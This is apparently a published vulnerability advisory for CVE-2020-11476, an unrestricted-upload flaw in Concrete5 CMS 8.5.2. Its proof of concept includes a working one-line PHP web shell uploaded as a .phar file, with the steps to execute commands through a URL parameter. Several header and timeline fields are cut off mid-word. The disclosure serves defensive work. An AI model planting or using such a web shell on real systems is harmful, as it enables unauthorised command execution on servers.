Advisory ID: usd-2020-0041
CVE Number: CVE-2020-11476
Affected Product: Concrete5 CMS
Affected Version: 8.5.2
Vulnerability Type: Unrestricted Uploa
Security Risk: High
Vendor URL: https://www.concrete5.o
Vendor Status: Fixed in 8.5.3

Description

The web application „concrete5" is vulnerable to remote code execution. An attacker can define uploadable filetypes in the admin area. The application blocks uploads with file extensions like *php* and *phtml* but not *phar, php8, shtml, cgi, pl, phpsh, pht and .htaccess*.
It is for instance possible for an attacker to upload *phar* files and access them via the browser after some configuration settings in the admin area. This file extension is interpreted as PHP code by many web servers, which allows code execution.

It is possible for an authenticated admin to specify the uploadable file formats in the „Allowed File Types" section under the URL http://localhost/index.php/dashboard/system/files/filetypes. According to the page, the following file extensions are blocked:

```
These file extensions will always be blocked: php, php2, php3, php4, php5, php7, phtml
```

However there are other file formats that are interpreted as PHP by many web servers. One of these file extensions is *.phar*. After adding this file extension, it is possible to upload *.phar* files in the upload section, which are stored on the web server. If an attacker accesses the uploaded file via his browser, this file is interpreted as php and allows code execution.

Proof of Concept (PoC)

First visit the section „Allowed file types" under the URL http://localhost/index.php/dashboard/system/files/filetype. The *.phar* format must be added to the list there.

Create a new file *shell.phar* with the following contents:

```
<?php
system($_GET['cmd']);
?>
```

Afterwards visit the following page: http://localhost/concrete5/index.php/dashboard/files/search.
On this page it is possible to upload new files and get information about already uploaded files.

Next step is to upload the created file *shell.phar*. After the successful upload of the file it is possible to view the URL of the file. On the same page it is possible to search for the file name *shell.phar* in the file search bar. By right-clicking on the file and selecting „Properties" you can get the path where the file was saved. The following information would then be displayed:

```
Filename shell.phar
URL to File http://localhost/application/files/4015/8558/7320/shell.phar
Tracked URL http://localhost/concrete5/index.php/download_file/21/0
Folder File Manager
```

The attacker can now visit the received URL and enter system commands in the *cmd* GET parameter which should be executed on the system. The visiting the following URL would execute the system command „whoami": http://localhost/application/files/4015/8558/7320/shell.phar?cmd=whoami

Fix

Although it is possible to add the file extension *.phar* to the *concrete.upload.extensions_blacklist* this would only be a temporary solution. There are many other file extensions which some web servers interpret as PHP code. It is more difficult to cover all file extensions with a blacklist than to build a whitelist of possible file formats. It would make sense to introduce a *concrete.upload.extensions_whitelist* which is defined in the code. This way, a user who already has access to the system can modify it. The section „Allowed File Types" should not allow a user to modify the allowed file formats, it should only display uploadable formats.

Timeline

- 2020-03-31 Vulnerability was discov
- 2020-04-01 First contact attempt vi
- 2020-05-14 Second contact attempt
- 2020-05-14 Report on https://hacke
- 2020-06-03 Public pull request with
- 2020-06-04 Version 8.5.3 is released ag/8.5.3
- 2020-07-15 Security advisory releas

About usd Security Advisories

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security."

to usd AG

In accordance with usd AG's Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.